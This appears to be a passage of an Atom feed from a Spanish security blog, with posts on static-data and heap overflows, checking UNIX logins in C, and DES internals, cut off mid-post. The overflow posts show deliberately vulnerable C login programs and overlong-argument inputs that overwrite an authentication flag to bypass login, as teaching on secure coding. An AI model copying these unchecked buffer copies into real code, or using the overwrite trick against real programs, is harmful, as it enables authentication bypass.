name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt; static int login_ok = 0;&lt;br /&gt; static char user[64];&lt;br /&gt; static char pass[64];&lt;br /&gt;&lt;br /&gt; strncpy(user, argv[1], strlen(argv[1]));&lt;br /&gt; strncpy(pass, argv[2], strlen(argv[2]));&lt;br /&gt;&lt;br /&gt; printf("User: %s\n", user);&lt;br /&gt; printf("Pass: %s\n", pass);&lt;br /&gt; printf("Login: %d\n", login_ok);&lt;br /&gt;&lt;br /&gt; if(login_ok)&lt;br /&gt; {&lt;br /&gt;    printf("Access Accept\n");&lt;br /&gt; }&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;    printf("Access Denied\n");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers sin verificar correctamente el tamaño de los mismos. Veamos qué ocurre si sobrepasamos los 64 bytes de memoria assignada para las variables user y pass&lt;br /&gt;&lt;br /&gt;Esta es la ejecución normal del programa:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ ./a.out myusername mypass&lt;br /&gt;User: myusername&lt;br /&gt;Pass: mypass&lt;br /&gt;Login: 0&lt;br /&gt;Access Denied&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ahora intentemos sobrepasar el tamaño máximo de la variable user:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ ./a.out `perl -e 'print "A"x100'` mypass&lt;br /&gt;User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;Pass: mypass&lt;br /&gt;Login: 1094795585&lt;br /&gt;Access Accept&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? Los datos asignados a las variables user, pass y login_ok están en un espacio contiguo de memoria. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos login_ok.&lt;br /&gt;&lt;br /&gt;El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.&lt;br /&gt;&lt;br /&gt;&lt;font class="down" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;Este tipo de bug está muy relacionado con el &lt;a href="http://h4ck1t.blogspot.com/2007/06/heap-overflow.html"&gt;heap overflow&lt;/a&gt; y/o el &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt;, sobre los que ya se ha escrito en este blog. Consultalos para ampliar información.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt; &lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-3699628533115449583?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/3699628533115449583/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=3699628533115449583' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3699628533115449583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3699628533115449583'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/06/static-data-overflow.html' title='Static Data Overflow'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-3376409595857572744</id><published>2007-06-16T23:21:00.000-07:00</published><updated>2008-12-04T01:28:25.053-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Heap Overflow</title><content type='html'>&lt;div style="text-align: justify;"&gt;El heap overflow es un tipo de &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt; que se produce en un area de memoria denominada heap. La memoria heap se reserva dinamicamente con funciones como por ejemplo &lt;a href="http://en.wikipedia.org/wiki/Malloc"&gt;malloc()&lt;/a&gt; y puede ser sobreescrita de forma similar a la que se produce en los buffer overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de heap overflow.&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;   char *user = malloc(64);&lt;br /&gt;   char *pass = malloc(64);&lt;br /&gt;   int *login_ok = malloc(sizeof(int));&lt;br /&gt;   *login_ok=0;&lt;br /&gt;&lt;br /&gt;   strncpy(user, argv[1], strlen(argv[1]));&lt;br /&gt;   strncpy(pass, argv[2], strlen(argv[2]));&lt;br /&gt;&lt;br /&gt;   printf("User: %s\n", user);&lt;br /&gt;   printf("Pass: %s\n", pass);&lt;br /&gt;   printf("Login: %d\n", *login_ok);&lt;br /&gt;&lt;br /&gt;   /* ... check user/pass ... */&lt;br /&gt;&lt;br /&gt;   if(*login_ok)&lt;br /&gt;   {&lt;br /&gt;      printf("Access Accept\n");&lt;br /&gt;   } &lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      printf("Access Denied\n");&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers cuya memoria ha sido reservada con malloc() sin verificar su longitud máxima.&lt;br /&gt;Pero, ¿Qué ocurre si sobrepasamos los 64 bytes de memoria reservada para las variables user y pass? Veamoslo con un ejemplo.&lt;br /&gt;&lt;br /&gt;Esta es la ejecución normal del programa:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ ./a.out myusername mypass&lt;br /&gt;User: myusername&lt;br /&gt;Pass: mypass&lt;br /&gt;Login: 0&lt;br /&gt;Access Denied&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ahora intentemos sobrepasar el tamaño máximo de la variable pass:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;./a.out myusername `perl -e 'print "A"x100'`&lt;br /&gt;User: myusername&lt;br /&gt;Pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;Login: 1094795585&lt;br /&gt;Access Accept&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? La respuesta es bastantes sencilla. Al reservar memoria con malloc() se nos ha assignado un espacio contiguo de memoria para las variables user, pass y login_ok. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos pass y a continuación login_ok. O, como hemos hecho en el ejemplo, si sobrepassamos los 64 bytes de pass, sobreescribimos login_ok.&lt;br /&gt;&lt;br /&gt;El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.&lt;br /&gt;&lt;br /&gt;Existen diferentes maneras de aprovechar un heap overflow para explotar un programa. Estas dependen en gran medida de la imaginación del atacante. Lo más común es sobreescribir directamente una variable como hemos hecho en el ejemplo o modificar un puntero para que salte a cierto código controlado (ver &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt;). En cualquier caso, como ya se comentaba en el documento sobre &lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;buffer overflow&lt;/a&gt;, es necesario verificar correctamente la cantidad de datos que se escribe en los buffers. &lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-3376409595857572744?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/3376409595857572744/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=3376409595857572744' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3376409595857572744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3376409595857572744'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/06/heap-overflow.html' title='Heap Overflow'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5943600521221140680</id><published>2007-06-09T02:34:00.000-07:00</published><updated>2008-12-04T01:28:25.038-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Cómo hacer login en UNIX con C</title><content type='html'>&lt;div style="text-align: justify;"&gt;A veces es necesario escribir un programa en C que lea de /etc/passwd y/o /etc/shadow para hacer login. Para este propósito, UNIX ofrece las funciones getpwnam() y getspnam() que permiten acceder a /etc/passwd y /etc/shadow respectivamente. Cada una de estas funciones retorna una estructura con los datos del usuario a partir de su nombre. Las estructuras son las siguientes:&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;/* Para /etc/passwd usando getpwnam() */&lt;br /&gt;&lt;br /&gt;      struct passwd&lt;br /&gt;      {&lt;br /&gt;           char   *pw_name;       /* user name */&lt;br /&gt;           char   *pw_passwd;     /* user password */&lt;br /&gt;           uid_t   pw_uid;        /* user ID */&lt;br /&gt;           gid_t   pw_gid;        /* group ID */&lt;br /&gt;           char   *pw_gecos;      /* real name */&lt;br /&gt;           char   *pw_dir;        /* home directory */&lt;br /&gt;           char   *pw_shell;      /* shell program */&lt;br /&gt;       };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* Para /etc/shadow usando getspnam() */&lt;br /&gt;&lt;br /&gt;       struct spwd&lt;br /&gt;       {&lt;br /&gt;           char *sp_namp;         /* Login name */&lt;br /&gt;           char *sp_pwdp;         /* Encrypted password */&lt;br /&gt;           long  sp_lstchg;       /* Date of last change */&lt;br /&gt;           long  sp_min;          /* Min #days between changes */&lt;br /&gt;           long  sp_max;          /* Max #days between changes */&lt;br /&gt;           long  sp_warn;         /* #days before pwd expires&lt;br /&gt;                                     to warn user to change it */&lt;br /&gt;           long  sp_inact;        /* #days after pwd expires&lt;br /&gt;                                     until account is disabled */&lt;br /&gt;           long  sp_expire;       /* #days since 1970-01-01&lt;br /&gt;                                     until account is disabled */&lt;br /&gt;           unsigned long sp_flag; /* Reserved */&lt;br /&gt;       };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A continuación pego unas funciones de ejemplo que permiten hacer login. Con ellas se puede verificar un par user/pass de forma muy simple.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;...&lt;br /&gt;if(auth_is_valid_user(user, pass))&lt;br /&gt;        login_ok = 1;&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Para las siguientes funciones es necesario incluir las cabeceras pwd.h, shadow.h y crypt.h. Para compilar, es necesaria la librería crypt (ej: gcc test.c -lcrypt).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;int auth_check_pass(const char *clear_pass, const char *encrypted_pass)&lt;br /&gt;{&lt;br /&gt; char *encrypted = crypt(clear_pass, encrypted_pass);&lt;br /&gt;&lt;br /&gt; if (strcmp(encrypted, encrypted_pass) == 0)&lt;br /&gt;    return 1;&lt;br /&gt; else&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int auth_is_valid_user(const char *user, const char* pass)&lt;br /&gt;{&lt;br /&gt; struct passwd *pw = getpwnam(user);&lt;br /&gt; if(pw==NULL)&lt;br /&gt;    return 0;&lt;br /&gt;&lt;br /&gt; // password in /etc/shadow&lt;br /&gt; if(strcmp(pw-&gt;pw_passwd, "x")==0)&lt;br /&gt; {&lt;br /&gt;    /* Solo root puede leer /etc/shadow por lo que esta parte no&lt;br /&gt;     funcionara a menos que la ejecute root o el archivo este&lt;br /&gt;     setuidado */&lt;br /&gt;&lt;br /&gt;    struct spwd *sp = getspnam(user);&lt;br /&gt;    if(sp==NULL)&lt;br /&gt;       return 0;&lt;br /&gt;&lt;br /&gt;    if(auth_check_pass(pass, sp-&gt;sp_pwdp))&lt;br /&gt;       return 1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; // password in /etc/passwd&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;    if(auth_check_pass(pass, pw-&gt;pw_passwd))&lt;br /&gt;       return 1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5943600521221140680?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5943600521221140680/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5943600521221140680' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5943600521221140680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5943600521221140680'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/06/cmo-hacer-login-en-unix-con-c.html' title='Cómo hacer login en UNIX con C'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7573200354824764449</id><published>2007-06-05T23:59:00.000-07:00</published><updated>2008-12-04T01:28:24.996-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>DES y Triple-DES</title><content type='html'>&lt;div style="text-align: justify;"&gt;El algoritmo DES está basado en el algoritmo Lucifer, diseñado por IBM a principios de los setenta. Después de algunas modificaciones de la NSA (National Security Agency), fué publicado en 1977 por el NBS (National Bureau of Standards), una sección del departamento de defensa de los EEUU.&lt;br /&gt;&lt;br /&gt;DES utiliza claves de 56 bits y un cifrado de bloques de 64 bits.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Esquema general:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El algoritmo DES cifra la información por bloques, es decir, el texto en claro debe ser dividido en bloques de 64 bits que serán cifrados uno tras otro.&lt;br /&gt;&lt;br /&gt;DES utiliza claves de 56 bits, aunque estas suelen distribuirse en forma de números de 64 bits. De estos 64 bits, uno de cada ocho, es utilizado como bit de paridad (64-8=56).&lt;br /&gt;&lt;br /&gt;A grandes rasgos el algoritmo DES sigue el siguiente esquema:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     Bloque de entrada 64 bits&lt;br /&gt;                                 |&lt;br /&gt;                               -----&lt;br /&gt;                               | A |&lt;br /&gt;                               -----&lt;br /&gt;                                 |&lt;br /&gt;                         ------------------&lt;br /&gt;                         | 16 iteraciones |&lt;br /&gt;                         ------------------&lt;br /&gt;                                 |&lt;br /&gt;                               -----&lt;br /&gt;                               | B |&lt;br /&gt;                               -----&lt;br /&gt;                                 |&lt;br /&gt;                     Bloque de salida 64 bits&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;La tabla de permutación A:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Después de recibir un bloque de entrada de 64 bits, el primer paso consiste en aplicar al bloque de entrada una permutación A mediante la tabla siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | Tabla de permutación A |&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | 58 50 42 34 26 18 10 2 |&lt;br /&gt;                     | 60 52 44 36 28 20 12 4 |&lt;br /&gt;                     | 62 54 46 38 30 22 14 6 |&lt;br /&gt;                     | 64 56 48 40 32 24 16 8 |&lt;br /&gt;                     | 57 49 41 33 25 17  9 1 |&lt;br /&gt;                     | 59 51 43 35 27 19 11 3 |&lt;br /&gt;                     | 61 53 45 37 29 21 13 5 |&lt;br /&gt;                     | 63 55 47 39 31 23 15 7 |&lt;br /&gt;                     --------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El primer bit de la entrada será colocado en la posición 58, el segundo bit en la posición 50 ...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;La tabla de permutación B:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;De la misma manera, después de las 16 iteraciones se realiza otra permutación mediante la tabla B:&lt;br /&gt;&lt;/div&gt; &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | Tabla de permutación B |&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | 40 8 48 16 56 24 64 32 |&lt;br /&gt;                     | 39 7 47 15 55 23 63 31 |&lt;br /&gt;                     | 38 6 46 14 54 22 62 30 |&lt;br /&gt;                     | 37 5 45 13 53 21 61 29 |&lt;br /&gt;                     | 36 4 44 12 52 20 60 28 |&lt;br /&gt;                     | 35 3 43 11 51 19 59 27 |&lt;br /&gt;                     | 34 2 42 10 50 18 58 26 |&lt;br /&gt;                     | 33 1 41  9 49 17 57 25 |&lt;br /&gt;                     --------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El primer bit de la entrada será colocado en la posición 40, el segundo bit en la posición 8 ...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Las 16 iteraciones:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Después de la permutación A y antes de la B, el algoritmo DES realiza 16 iteraciones. Cada iteración realiza lo siguiente:&lt;br /&gt;&lt;/div&gt; &lt;ol style="text-align: justify;"&gt;&lt;br /&gt;&lt;li&gt;Los 64 bits de entrada se dividen en dos partes de 32 bits.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;La mitad de la derecha (R) se introduce en una función (f) que se describirá más adelante.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Se realiza un XOR entre la salida de la función y la parte izquierda (L).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;El resultado (32 bits) pasará a ser la parte derecha de la siguiente iteración, mientras que la parte derecha actual pasará a ser la parte izuierda.&lt;br /&gt; &lt;br /&gt; Li+1 = Ri&lt;br /&gt;&lt;br /&gt;       Ri+1 = Li XOR f(Ri,K)&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;En la última iteración (i=16) no se realizará el paso 4.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;La función F:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;Ahora pasamos a describir la función f, veamos un esquema general:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                D i-1&lt;br /&gt;                                  |&lt;br /&gt;                                  | 32 bits&lt;br /&gt;                                -----&lt;br /&gt;                                | C |&lt;br /&gt;                                -----&lt;br /&gt;                                  | 48 bits&lt;br /&gt;                                  |&lt;br /&gt;                                 XOR --- K (48 bits)&lt;br /&gt;                                  |&lt;br /&gt;                                  |&lt;br /&gt;      --------------------------------------------------------------&lt;br /&gt;      ||||||  ||||||  ||||||  ||||||  ||||||  ||||||  ||||||  ||||||&lt;br /&gt;      ------  ------  ------  ------  ------  ------  ------  ------&lt;br /&gt;      | S1 |  | S2 |  | S3 |  | S4 |  | S5 |  | S6 |  | S7 |  | S8 |&lt;br /&gt;      ------  ------  ------  ------  ------  ------  ------  ------&lt;br /&gt;       ||||    ||||    ||||    ||||    ||||    ||||    ||||    ||||&lt;br /&gt;       ------------------------------------------------------------&lt;br /&gt;                                  | 32 bits&lt;br /&gt;                                  |&lt;br /&gt;                                -----&lt;br /&gt;                                | P |&lt;br /&gt;                                -----&lt;br /&gt;                                  | 32 bits&lt;br /&gt;                                  |&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Los 32 bits de la parte derecha entran en la función f. El primer paso consiste en transformar la entrada de 32 bits a 48 bits mediante la tabla C.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | Tabla transformación C |&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | 32   1   2   3   4   5 |&lt;br /&gt;                     |  4   5   6   7   8   9 |&lt;br /&gt;                     |  8   9  10  11  12  13 |&lt;br /&gt;                     | 12  13  14  15  16  17 |&lt;br /&gt;                     | 16  17  18  19  20  21 |&lt;br /&gt;                     | 20  21  22  23  24  25 |&lt;br /&gt;                     | 24  25  26  27  28  29 |&lt;br /&gt;                     | 28  29  30  31  32   1 |&lt;br /&gt;                     --------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A continuación se realiza un XOR con una subclave de 48 bits. Dado que la clave inicial era de 56 bits (representada como 64 bits) es necesario generar, a partir de esta, subclaves de 48 bits. Más adelante se describe detalladamente el proceso de generación de subclaves.&lt;br /&gt;&lt;br /&gt;A continuación los 48 bits se dividen en bloques de 6 bits, cada uno de de los cuales es utilizado como entrada de lo que se conoce como una caja S. Observe el esquema anterior.&lt;br /&gt;&lt;br /&gt;Los 6 bits que forman cada bloque b1, b2, b3, b4, b5 y b6, son utilizados para leer de cada caja S. b1 y b6 indican la fila mientras que b2, b3, b4, y b5 indican la columna. Es decir, si utilizamos como entrada 000011, b1b6 -&gt; 01 indican la primera fila y b2b3b4b5 -&gt; 00001 indican la primera columna.&lt;br /&gt;&lt;br /&gt;A continuación se muestran las ocho cajas S existentes:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;              S-1                      &lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 14 04 13 01 02 15 11 08 03 10 06 12 05 09 00 07 |&lt;br /&gt;            | 00 15 07 04 14 02 13 01 10 06 12 11 09 05 03 08 |&lt;br /&gt;            | 04 01 14 08 13 06 02 11 15 12 09 07 03 10 05 00 |&lt;br /&gt;            | 15 12 08 02 04 09 01 07 05 11 03 14 10 00 06 13 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-2&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 15 01 08 14 06 11 03 04 09 07 02 13 12 00 05 10 |&lt;br /&gt;            | 03 13 04 07 15 02 08 14 12 00 01 10 06 09 11 05 |&lt;br /&gt;            | 00 14 07 11 10 04 13 01 04 08 12 06 09 03 02 15 |&lt;br /&gt;            | 13 08 10 01 03 15 04 02 11 06 07 12 00 05 14 09 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-3&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 10 00 09 14 06 03 15 05 01 13 12 07 11 04 02 08 |&lt;br /&gt;            | 13 07 00 09 03 04 06 10 02 08 05 14 12 11 15 01 |&lt;br /&gt;            | 13 06 04 09 08 15 03 00 11 01 02 12 05 10 14 07 |&lt;br /&gt;            | 01 10 13 00 06 09 08 07 04 15 14 03 11 05 02 12 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-4&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 07 13 14 03 00 06 09 10 01 02 08 05 11 12 04 15 |&lt;br /&gt;            | 13 08 11 05 06 15 00 03 04 07 02 12 01 10 14 09 |&lt;br /&gt;            | 10 06 09 00 12 11 07 13 15 01 03 14 05 02 08 04 |&lt;br /&gt;            | 03 15 00 06 10 01 13 08 09 04 05 11 12 07 02 14 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-5&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 02 12 04 01 07 10 11 06 08 05 03 15 13 00 14 09 |&lt;br /&gt;            | 14 11 02 12 04 07 13 01 05 00 15 10 03 09 08 06 |&lt;br /&gt;            | 04 02 01 11 10 13 07 08 15 09 12 05 06 03 00 14 |&lt;br /&gt;            | 11 08 12 07 01 14 02 13 06 15 00 09 10 04 05 03 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-6&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 12 01 10 15 09 02 06 08 00 13 03 04 14 07 05 11 |&lt;br /&gt;            | 10 15 04 02 07 12 09 05 06 01 13 14 00 11 03 08 |&lt;br /&gt;            | 09 14 15 05 02 08 12 03 07 00 04 10 01 13 11 06 |&lt;br /&gt;            | 04 03 02 12 09 05 15 10 11 14 01 07 06 00 08 13 |&lt;br /&gt;           ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-7&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 04 11 02 14 15 00 08 13 03 12 09 07 05 10 06 01 |&lt;br /&gt;            | 13 00 11 07 04 09 01 10 14 03 05 12 02 15 08 06 |&lt;br /&gt;            | 01 04 11 13 12 03 07 14 10 15 06 08 00 05 09 02 |&lt;br /&gt;            | 06 11 13 08 01 04 10 07 09 05 00 15 14 02 03 12 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;              S-8&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;            | 13 02 08 04 06 15 11 01 10 09 03 14 05 00 12 07 |&lt;br /&gt;            | 01 15 13 08 10 03 07 04 12 05 06 11 00 14 09 02 |&lt;br /&gt;            | 07 11 04 01 09 12 14 02 00 06 10 13 15 03 05 08 |&lt;br /&gt;            | 02 01 14 07 04 10 08 13 15 12 09 00 03 05 06 11 |&lt;br /&gt;            ---------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Generación de subclaves K:&lt;/u&gt;&lt;/b&gt;&lt;br 